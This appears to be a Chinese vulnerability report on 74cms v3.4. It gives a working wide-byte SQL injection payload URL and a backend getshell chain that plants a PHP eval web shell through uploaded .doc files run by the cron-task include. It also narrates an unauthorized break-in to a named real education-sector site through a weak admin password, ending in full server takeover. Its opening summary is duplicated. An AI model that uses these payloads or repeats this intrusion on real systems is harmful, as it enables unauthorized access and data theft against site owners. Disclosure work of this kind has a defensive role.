### 简要描述: 今天下载了骑士cms的最新版本,由于好久以前一个哥们发了一个后台拿shell的漏洞,还有别人发的一个sql注入的漏洞,一个有意思的渗透测试过程就从这两个地方开始了,成功的拿下了某大型人才网站的服务器,过程算比较艰辛吧,由于附带了对其实cms的漏洞重新分析,并且加入了自己新的利用方法,所以这里提交到了通用漏洞 ### 详细说明: 第一步 我们分析一个老的sql注入问题: 文件job/plus/ajax_common.php:(lines:88-100) ``` { if (empty($_GET['query'])) { exit(); } $gbk_query=trim($_GET['query']); if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0) { $gbk_query=iconv("utf-8",QISHI_DBCHARSET,$gbk_query); } $sql="SELECT * FROM ".table('hotword')." WHERE w_word like '%{$gbk_query}%' ORDER BY `w_hot` DESC LIMIT 0 , 10"; $result = $db->query($sql); ``` iconv 这个函数在做编码转换的时候,会引入特殊字符,我们搭建了测试站点,如下: http://192.168.47.131/74cms_v3.4.20140709https://images.seebug.org/upload/plus/ajax_common.php?act=hotword&query=aa 让我们请求这个的时候,里面的问题参数query可能存在sql注入,首先我们直接使用单引号 http://192.168.47.131/74cms_v3.4.20140709https://images.seebug.org/upload/plus/ajax_common.php?act=hotword&query=aa' [<img src="https://images.seebug.org/upload/201407/29143422014b1ba69af253bd148ab5bb39c749d5.png" alt="7.png"...
### 简要描述: 今天下载了骑士cms的最新版本,由于好久以前一个哥们发了一个后台拿shell的漏洞,还有别人发的一个sql注入的漏洞,一个有意思的渗透测试过程就从这两个地方开始了,成功的拿下了某大型人才网站的服务器,过程算比较艰辛吧,由于附带了对其实cms的漏洞重新分析,并且加入了自己新的利用方法,所以这里提交到了通用漏洞 ### 详细说明: 第一步 我们分析一个老的sql注入问题: 文件job/plus/ajax_common.php:(lines:88-100) ``` { if (empty($_GET['query'])) { exit(); } $gbk_query=trim($_GET['query']); if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0) { $gbk_query=iconv("utf-8",QISHI_DBCHARSET,$gbk_query); } $sql="SELECT * FROM ".table('hotword')." WHERE w_word like '%{$gbk_query}%' ORDER BY `w_hot` DESC LIMIT 0 , 10"; $result = $db->query($sql); ``` iconv 这个函数在做编码转换的时候,会引入特殊字符,我们搭建了测试站点,如下: http://192.168.47.131/74cms_v3.4.20140709https://images.seebug.org/upload/plus/ajax_common.php?act=hotword&query=aa 让我们请求这个的时候,里面的问题参数query可能存在sql注入,首先我们直接使用单引号 http://192.168.47.131/74cms_v3.4.20140709https://images.seebug.org/upload/plus/ajax_common.php?act=hotword&query=aa' [<img src="https://images.seebug.org/upload/201407/29143422014b1ba69af253bd148ab5bb39c749d5.png" alt="7.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/29143422014b1ba69af253bd148ab5bb39c749d5.png) 下来我们继续注入宽字节: http://192.168.47.131/74cms_v3.4.20140709https://images.seebug.org/upload/plus/ajax_common.php?act=hotword&query=aa%8c%27 [<img src="https://images.seebug.org/upload/201407/291435299988aa4e06ab6c2597c241393fb986b8.png" alt="8.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/291435299988aa4e06ab6c2597c241393fb986b8.png) 由此可以排除了上面两种情况,下来我们继续测试 http://192.168.47.131/74cms_v3.4.20140709https://images.seebug.org/upload/plus/ajax_common.php?act=hotword&query=aa%錦%27%20union%20select%201,concat(version(),user()),3%23%27 [<img src="https://images.seebug.org/upload/201407/291444312d95f64f32f625370040bcf8ff82955a.png" alt="9.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/291444312d95f64f32f625370040bcf8ff82955a.png) 神奇的貌似没有打补丁.......... 这里居然引入进来了,不过骑士cms做了过滤,对sql的操作,例如select union之类的做了过滤 但是这个不影响,我不用就可以了,仍然可以通过盲注去猜测表结构,这里直接附带一个站点的测试,当然它没有做更新: url:http://edc.dky.bjedu.cn/job/plus/ajax_common.php?act=hotword&query=aa%%E9%8C%A6%27%20union%20select%201,concat(version(),user()),3%23%27 [<img src="https://images.seebug.org/upload/201407/2914565842dbba22cd1a692961d66b7fb7ccb6f1.png" alt="10.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/2914565842dbba22cd1a692961d66b7fb7ccb6f1.png) 下来我们在分析另外一个漏洞,之前wooyun有过一个前台xss反射台拿shell的,这里原理一样,只不过我这里利用一个后台两个地方去获取shell,看一下代码: 登陆后台,看到内容底下有个hr工具,如图: [<img src="https://images.seebug.org/upload/201407/29150050e1c851a349e63944f47639ad76fbdaeb.png" alt="11.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/29150050e1c851a349e63944f47639ad76fbdaeb.png) 我们添加一个doc文件 ,文件的内容就是我们提前准备的shell,我们记录下这个文件的地址为: data/hrtools/2014/07/1406613408594.doc 里面的内容就是一段小马................ 然后我们在到另外一个地方,如图: [<img src="https://images.seebug.org/upload/201407/29150430e12252e0f04d6ee4360fb94fb469c137.png" alt="12.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/29150430e12252e0f04d6ee4360fb94fb469c137.png) 那么接下来我们分析分析代码,我们的doc文件里面的内容是: ``` <?php file_put_contents("../data/backup/shell.php","<?php @eval(\$_GET['pass']);?>"); ?> ``` 我们看看这 [<img src="https://images.seebug.org/upload/201407/291506141826429e425eafb1a476a7b4e14794f0.png" alt="13.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/291506141826429e425eafb1a476a7b4e14794f0.png) ,这个地方有个执行按钮,那么接下来我们分析一下这里执行处的代码: admin/admin_crons.php:(lines:115-119) ``` if (!empty($crons)) { if (!file_exists(QISHI_ROOT_PATH."include/crons/".$crons['filename'])) { adminmsg("任务文件 {$crons['filename']} 不存在!",0); } require_once(QISHI_ROOT_PATH."include/crons/".$crons['filename']); adminmsg("执行成功!",2); } } ``` 这里明显就是从刚才那边直接取出来,然后包含执行了,那么我们点击执行,后根据我们doc文件我们会在backup底下生成一个shell.php [<img src="https://images.seebug.org/upload/201407/2915092286df7df3eb55514033cc73b5261aba0a.png" alt="14.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/2915092286df7df3eb55514033cc73b5261aba0a.png) 这里面还有另外一个思路,按照目前的逻辑,我们貌似只能挂一个小马,但是如果挂上去的小马,不能利用或者连接不上怎么办,我们还有另外一种思路,就是直接上大马,那么这个就要利用三处地方,这里我们不在分析,直接看下面渗透测试思路就ok 到这里代码就分析完了,这里全部都是在后台操作的,我们也可以在前台通过上传一个头像,利用xss进行getshell,功夫不负有心人,我们找到一个案例,而且貌似还比较大的网站: --------------------------------------------------------------- 下来我们进行渗透测试: 站点:人才技能网(http://edc.dky.bjedu.cn/) 经过测试后台存在弱口令,我们登陆到了后台 [<img src="https://images.seebug.org/upload/201407/291514482262396ad188d5519feafd4acaaca34d.png" alt="15.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/291514482262396ad188d5519feafd4acaaca34d.png) 我们进来之后,下来我们就是要去重复我上面分析的东西,结果真是巧合所挂的小马,菜刀链接不上,这里我就不演示了,我们直接看另外一个思路 1.如果我们可以再hr工具编辑哪里,连续上传两个doc,一个doc就是我们的大马,另一个doc就是我们的写shell的文件doc,然后我们只要在写shell的doc里面从另外一个大马文件读出来,然后写到backup/shell.php 里面即可: 操作如下: [<img src="https://images.seebug.org/upload/201407/2915185767b9d3f277302c2f132d7221978d37b7.png" alt="16.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/2915185767b9d3f277302c2f132d7221978d37b7.png) 记录上面的两个url: url1(大马):data/hrtools/2014/07/1406614082954.doc url2 (写shell):data/hrtools/2014/07/1406614108668.doc 写shell的doc,文件内容如下: ``` <?php $file_path = "../data/hrtools/2014/07/1406614082954.doc"; $content = file_get_contents($file_path); file_put_contents("../data/backup/shell.php",$content); ?> ``` 然后我们把url2,贴到工具-》的任务计划哪里,如图所示: [<img src="https://images.seebug.org/upload/201407/29152124a0a852d946bb168b5bf827bf11883863.png" alt="17.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/29152124a0a852d946bb168b5bf827bf11883863.png) 保存后我们点击执行: 然后我们的大马就生成了,哈哈................. [<img src="https://images.seebug.org/upload/201407/291522411e24bba6066b42ba8ab9bc7a50334032.png" alt="18.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/291522411e24bba6066b42ba8ab9bc7a50334032.png) ok到此这个服务器就已经拿下了,这个服务器里面相对东西还是很多的,它不止有骑士cms一个,还有其他几个,例如phpcms,我们通过这个点全部都能那道数据库文件 ### 漏洞证明: [<img src="https://images.seebug.org/upload/201407/29152358748895ceb8f32c7dded534d7b1d046f3.png" alt="18.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/29152358748895ceb8f32c7dded534d7b1d046f3.png) [<img src="https://images.seebug.org/upload/201407/291525097cb84f05af256e71bfc4932b1d4e1fe0.png" alt="19.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/291525097cb84f05af256e71bfc4932b1d4e1fe0.png) 内网ip: [<img src="https://images.seebug.org/upload/201407/291526007bb16a37c2eb4d412d3c9c93f48278c2.png" alt="20.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/291526007bb16a37c2eb4d412d3c9c93f48278c2.png)